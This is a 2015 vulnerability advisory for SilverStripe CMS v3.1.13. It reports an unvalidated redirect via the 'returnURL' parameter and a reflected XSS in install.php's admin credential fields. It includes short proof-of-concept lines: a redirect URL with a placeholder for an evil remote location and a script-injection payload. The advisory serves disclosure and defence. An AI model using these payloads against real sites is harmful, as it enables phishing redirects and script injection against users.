SilverStripe CMS Unvalidated Redirect & XSS vulnerabilities


[+] Credits: hyp3rlinx [+] Domains: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-SILVERSTRIPE0607.txt Vendor: ================================ http://www.silverstripe.org/software/download Product: ================================ SilverStripe CMS & Framework v3.1.13 Advisory Information: =============================================== Unvalidated redirect & XSS vulnerabilities Vulnerability Details: ===================== Unvalidated redirect: The 'returnURL' parameter for following URL: http://localhost/SilverStripe-cms-v3.1.13/dev/build is open to abuse by supplying an malicious a location or file. XSS (reflected): install.php is XSS vulnerable using POST method for the following input fields. admin_username admin_password Exploit code(s): =============== Unvalidated redirect POC: http://localhost/SilverStripe-cms-v3.1.13/dev/build?returnURL=[EVIL REMOTE FILE LOCATION] XSS POC: http://localhost/SilverStripe-cms-v3.1.13/install.php admin_username admin_password "><script>alert(666)</script> Disclosure Timeline: =============================================== Vendor Notification: June 7, 2015 June 8, 2015 : Public Disclosure Severity Level: =============================================== Med Description: =============================================== Request Method(s): [+] GET & POST Vulnerable Product: [+] SilverStripe CMS & Framework v3.1.13 Vulnerable Parameter(s): [+] returnURL, admin_username & admin_password Affected Area(s): [+] install & dev =============================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx)